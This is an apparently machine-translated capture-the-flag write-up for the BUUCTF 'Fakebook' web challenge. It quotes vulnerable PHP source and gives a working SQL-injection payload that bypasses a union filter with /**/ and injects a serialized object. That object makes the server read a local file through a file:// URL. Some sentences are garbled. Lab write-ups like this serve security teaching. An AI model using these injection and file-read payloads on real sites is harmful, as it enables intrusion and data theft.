BUUCTF Fakebook

A registered admin account, then log in, did not find anything.
View.php into a point of view, it seems to have found injection points.

Injection attempts, find the union was filtered, can be used / ** / be bypassed.

You can see there is a de-serialization, then I would not have thought of.
Read wp know, there is a backup file user.php.bak and flag.php, user.php.bak code is as follows:

<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);//设置句柄
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);//执行句柄
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);//返回执行句柄的结果或404
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);//对blog进行过滤，要求http(s)协议作为开头
    }
}
?>

In the graph we can see that there is a error in place of the original blogcontents: Call to A Member getBlogContents function () boolean in /var/www/html/view.php ON ON Line 67 , description user.phpof the getBlogContentsfunction is called here and the function is passed in the return address of the blog getfunction, and then see a magic method, deserialization function before adding, use of anti-serialization function reconstruction$blog , because of the blog is not filtered after reconstruction, it is possible to bypass the filter of the blog registration.

Configuration code sequence as follows:

<?php
class UserInfo
{
    public $name = "1";
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}
$a = new UserInfo();
echo serialize($a);
?>

payload:?no=-1/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+

Then iframe src untied with base64 to see the flag.